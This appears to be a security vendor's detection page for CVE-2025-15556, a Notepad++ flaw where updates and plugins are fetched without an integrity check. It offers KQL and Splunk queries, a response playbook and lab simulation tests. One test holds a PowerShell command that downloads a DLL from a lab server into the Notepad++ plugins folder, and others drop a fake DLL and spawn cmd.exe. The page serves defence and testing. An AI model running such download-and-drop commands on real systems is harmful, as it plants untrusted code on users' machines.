Notepad++ Download of Code Without Integrity Check (CVE-2025-15556)
CVE-2025-15556 is a CWE-494 (Download of Code Without Integrity Check) vulnerability in Notepad++ that has been added to CISA's Known Exploited Vulnerabilities catalog. The vulnerability allows an attacker to deliver malicious code through Notepad++'s update or plugin mechanism without cryptographic integrity verification, enabling arbitrary code execution in the context of the user running Notepad++. This is actively exploited in the wild and should be treated as high-priority for endpoint detection and response.
Vulnerability Intelligence
KEV — Known ExploitedAffected Software
- Vendor
- Notepad++
- Product
- Notepad++
Weakness (CWE)
Timeline
- Disclosed
- February 12, 2026
CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
What is CVE-2025-15556 Notepad++ Download of Code Without Integrity Check (CVE-2025-15556)?
Notepad++ Download of Code Without Integrity Check (CVE-2025-15556) (CVE-2025-15556) maps to the Initial Access and Execution and Persistence tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for Notepad++ Download of Code Without Integrity Check (CVE-2025-15556), covering the data sources and telemetry it touches: Microsoft Defender for Endpoint, Microsoft Sentinel. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Initial Access Execution Persistence
let NotepadPlusProcesses = DeviceProcessEvents
| where FileName =~ "notepad++.exe" or InitiatingProcessFileName =~ "notepad++.exe"
| project DeviceId, DeviceName, Timestamp, AccountName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine;
let NotepadPlusNetworkEvents = DeviceNetworkEvents
| where InitiatingProcessFileName =~ "notepad++.exe"
| where RemoteUrl !has "notepad-plus-plus.org" or ActionType == "ConnectionFailed"
| project DeviceId, DeviceName, Timestamp, RemoteIP, RemoteUrl, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine;
let SuspiciousFileWrites = DeviceFileEvents
| where InitiatingProcessFileName =~ "notepad++.exe"
| where (FolderPath contains "\\plugins\\" or FolderPath contains "\\updater\\" or FolderPath endswith ".dll" or FolderPath endswith ".exe")
| project DeviceId, DeviceName, Timestamp, FileName, FolderPath, SHA256, InitiatingProcessFileName;
let ChildProcesses = DeviceProcessEvents
| where InitiatingProcessFileName =~ "notepad++.exe"
| where FileName !in~ ("notepad++.exe", "GUP.exe", "explorer.exe")
| project DeviceId, DeviceName, Timestamp, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName;
union kind=outer NotepadPlusNetworkEvents, SuspiciousFileWrites, ChildProcesses
| summarize Count=count(), Events=make_set(pack("type", $left.RemoteUrl, "file", $left.FolderPath, "proc", $left.FileName), 10) by DeviceId, DeviceName, bin(Timestamp, 1h)
| where Count >= 1
| order by Timestamp desc Detects suspicious behaviors associated with CVE-2025-15556: Notepad++ making unexpected network connections, writing DLL/EXE files to plugin or updater directories, and spawning unexpected child processes. These patterns indicate exploitation of the integrity-check bypass vulnerability.
Data Sources
Required Tables
False Positives
- Legitimate Notepad++ auto-updates via GUP.exe connecting to official notepad-plus-plus.org endpoints
- Administrators installing Notepad++ plugins manually via the built-in plugin manager
- Security tools or antivirus software spawning processes in the context of Notepad++
- Corporate software deployment tools updating Notepad++ installations enterprise-wide
Sigma rule & cross-platform mapping
The detection logic for Notepad++ Download of Code Without Integrity Check (CVE-2025-15556) (CVE-2025-15556) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2025-15556
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate Notepad++ Downloading Unsigned DLL via HTTP
Expected signal: Sysmon Event ID 3 (network connection from notepad++.exe to non-official IP), Sysmon Event ID 11 (file creation in plugins directory with .dll extension), EDR network connection alert
- Test 2Notepad++ Plugin Directory DLL Drop
Expected signal: Sysmon Event ID 11 for file creation in Notepad++ plugins directory with .dll extension; EDR file creation alert
- Test 3Notepad++ Spawning Unexpected Child Process
Expected signal: Sysmon Event ID 1 showing cmd.exe with Notepad++ as parent process; EDR process lineage alert; command line captured in telemetry
Response Playbook
Triage
- Identify the affected host and user account. Query endpoint telemetry for the Notepad++ process tree at time of alert: parent process, child processes, and any spawned network connections.
- Determine the Notepad++ version installed on the affected host. Cross-reference with the patched version referenced in https://community.notepad-plus-plus.org/topic/27298/notepad-v8-8-9-vulnerability-fix to assess patch status.
- Review network connection logs for connections originating from notepad++.exe to non-official hosts. Capture destination IPs and domains and pivot to determine if they are known malicious infrastructure.
- Inspect the Notepad++ plugins and updater directories on the affected host for recently modified or newly created DLL/EXE files. Compute SHA256 hashes and submit to threat intelligence platforms (VirusTotal, MalwareBazaar).
- Check if the alert corresponds to a known benign update cycle by reviewing Notepad++ update history and correlating timestamps with official release dates.
Containment
- If exploitation is confirmed, isolate the affected endpoint from the network to prevent lateral movement or C2 communication while preserving forensic artifacts.
- Block outbound connections from notepad++.exe at the host firewall or EDR policy level until the vulnerability is patched and the host is verified clean.
- If a malicious DLL/EXE was written to the plugins or updater directory, quarantine the file via EDR before deleting it to preserve evidence for forensic analysis.
Evidence Collection
- Collect a full process memory dump of the Notepad++ process at time of detection using tools such as ProcDump or your EDR's memory acquisition capability. This may contain injected shellcode or dropped payloads.
- Preserve Sysmon or EDR event logs covering the 30 minutes before and after the alert timestamp, including process creation (Event ID 1), network connections (Event ID 3), and file creation (Event ID 11) events.
- Capture disk image or triage package from the affected host including the Notepad++ installation directory, %APPDATA%\Notepad++, %LOCALAPPDATA%\Notepad++, and temp directories.
Escalation Criteria
- ! Escalate to incident response if a newly written DLL or EXE in the Notepad++ plugins/updater directory is found to be malicious by threat intelligence or sandbox analysis.
- ! Escalate if lateral movement indicators are detected following the initial Notepad++ alert, such as unusual authentication events, SMB file access, or additional hosts showing the same pattern.
- ! Escalate if the network destination contacted by Notepad++ is a known command-and-control server or newly registered domain with no legitimate attribution.
Investigation Guide
Forensic Artifacts
- >
Notepad++ installation directory: %ProgramFiles%\Notepad++\plugins\ and %ProgramFiles%\Notepad++\updater\ — examine for new or modified DLL/EXE files with recent timestamps. - >
Windows Event Log (System, Application, Security) and Sysmon logs around time of exploitation for process, network, and file events. - >
Prefetch files for notepad++.exe and any child processes to establish execution history. - >
Registry keys: HKCU\Software\Notepad++ and HKLM\SOFTWARE\Notepad++ for tampered configuration or persistence. - >
Network PCAP or NetFlow records for connections from the affected host to external IPs during the exploitation window.
Tuning Guidance
Start by establishing a baseline of legitimate Notepad++ network destinations and plugin file hashes in your environment. Use application allowlisting or hash pinning for approved plugins to reduce false positives. Tune the suspicious child process detection to exclude any known-good processes that your organization's Notepad++ deployment legitimately spawns (e.g., custom script runners integrated with Notepad++). For the network connection detection, supplement the domain allowlist with your organization's proxy or DNS logs to identify all legitimate Notepad++ update endpoints. Adjust confidence to 'high' once you have confirmed that no legitimate Notepad++ operations in your environment contact non-official external hosts.
Hunting Queries
Hunt for any DLL or EXE files written to Notepad++ plugin or updater directories in the past 30 days across the environment. Results should be reviewed for unexpected files not corresponding to known plugin versions.
DeviceFileEvents
| where InitiatingProcessFileName =~ "notepad++.exe"
| where FolderPath contains "\\plugins\\" or FolderPath contains "\\updater\\"
| where FileName endswith ".dll" or FileName endswith ".exe"
| where Timestamp > ago(30d)
| project Timestamp, DeviceName, AccountName, FolderPath, FileName, SHA256, InitiatingProcessCommandLine
| order by Timestamp desc index=* sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=11
| where match(Image, "(?i)notepad\+\+\.exe")
| where match(TargetFilename, "(?i)\\plugins\\|\\updater\\")
| where match(TargetFilename, "(?i)\.(dll|exe)$")
| eval age_days=round((now()-_time)/86400,1)
| where age_days <= 30
| stats count by Computer, User, TargetFilename, MD5, SHA256
| sort -count Hunt for Notepad++ network connections to destinations outside the official notepad-plus-plus.org domain to identify potential C2 communication or unauthorized update server contact.
DeviceNetworkEvents
| where InitiatingProcessFileName =~ "notepad++.exe"
| where RemoteUrl !has "notepad-plus-plus.org"
| where Timestamp > ago(30d)
| summarize ConnectionCount=count(), UniqueDestinations=dcount(RemoteIP), Destinations=make_set(strcat(RemoteIP, " (", RemoteUrl, ")")), FirstSeen=min(Timestamp), LastSeen=max(Timestamp) by DeviceName, AccountName
| where ConnectionCount >= 1
| order by LastSeen desc index=* sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=3
| where match(Image, "(?i)notepad\+\+\.exe")
| where NOT match(DestinationHostname, "(?i)notepad-plus-plus\.org")
| stats count as connections, dc(DestinationIp) as unique_ips, values(DestinationIp) as dest_ips, values(DestinationHostname) as dest_hosts by Computer, User
| sort -connections Atomic Red Team Tests
Simulates the CVE-2025-15556 vector by having a process named notepad++.exe download a file from a non-official HTTP endpoint without integrity verification, mimicking the vulnerable update/plugin mechanism.
Command
# Lab only — requires a renamed notepad++.exe or simulation via PowerShell
$destination = "$env:ProgramFiles\Notepad++\plugins\test_malicious.dll"
$url = "http://192.168.100.10:8080/test.dll" # Replace with lab server
Invoke-WebRequest -Uri $url -OutFile $destination -UseBasicParsing
Write-Host "Downloaded to: $destination" Cleanup
Remove-Item "$env:ProgramFiles\Notepad++\plugins\test_malicious.dll" -ErrorAction SilentlyContinue Expected Telemetry
Sysmon Event ID 3 (network connection from notepad++.exe to non-official IP), Sysmon Event ID 11 (file creation in plugins directory with .dll extension), EDR network connection alert
Expected Detection
Alert should fire on the suspicious network connection query and the file write to plugins directory query simultaneously
Simulates a malicious DLL being placed in the Notepad++ plugins directory as would occur post-exploitation of CVE-2025-15556, without the network delivery component.
Command
# Create benign test DLL in plugins directory to simulate post-exploit artifact
$pluginsDir = "$env:ProgramFiles\Notepad++\plugins"
if (!(Test-Path $pluginsDir)) { New-Item -ItemType Directory -Path $pluginsDir -Force }
$testDll = Join-Path $pluginsDir "AtomicTest_CVE2025_15556.dll"
[System.IO.File]::WriteAllBytes($testDll, [byte[]](0x4D,0x5A,0x90,0x00)) # MZ header
Write-Host "Test DLL created: $testDll" Cleanup
Remove-Item "$env:ProgramFiles\Notepad++\plugins\AtomicTest_CVE2025_15556.dll" -ErrorAction SilentlyContinue Expected Telemetry
Sysmon Event ID 11 for file creation in Notepad++ plugins directory with .dll extension; EDR file creation alert
Expected Detection
File write detection query should alert on new DLL in plugins directory; threat hunting query should surface the file hash for analysis
Simulates post-exploitation behavior where a malicious plugin loaded via CVE-2025-15556 causes Notepad++ to spawn a child process (e.g., cmd.exe) for persistence or payload execution.
Command
# Start notepad++ and then simulate child process (lab environment only)
# This can be tested by injecting a call to CreateProcess from a test plugin
Start-Process "notepad++.exe" -PassThru | ForEach-Object {
$nppPid = $_.Id
Start-Sleep -Seconds 2
# Simulate child process using WMI process creation with notepad++ as parent context
$command = 'cmd.exe /c echo CVE-2025-15556 atomic test > %TEMP%\cve_test.txt'
Start-Process "cmd.exe" -ArgumentList "/c echo CVE-2025-15556-child-test > $env:TEMP\cve_test.txt"
Write-Host "Child process spawned from lab simulation"
} Cleanup
Stop-Process -Name "notepad++" -ErrorAction SilentlyContinue; Remove-Item "$env:TEMP\cve_test.txt" -ErrorAction SilentlyContinue Expected Telemetry
Sysmon Event ID 1 showing cmd.exe with Notepad++ as parent process; EDR process lineage alert; command line captured in telemetry
Expected Detection
Suspicious child process detection should alert on cmd.exe spawned by notepad++.exe; process tree investigation should reveal the anomalous parent-child relationship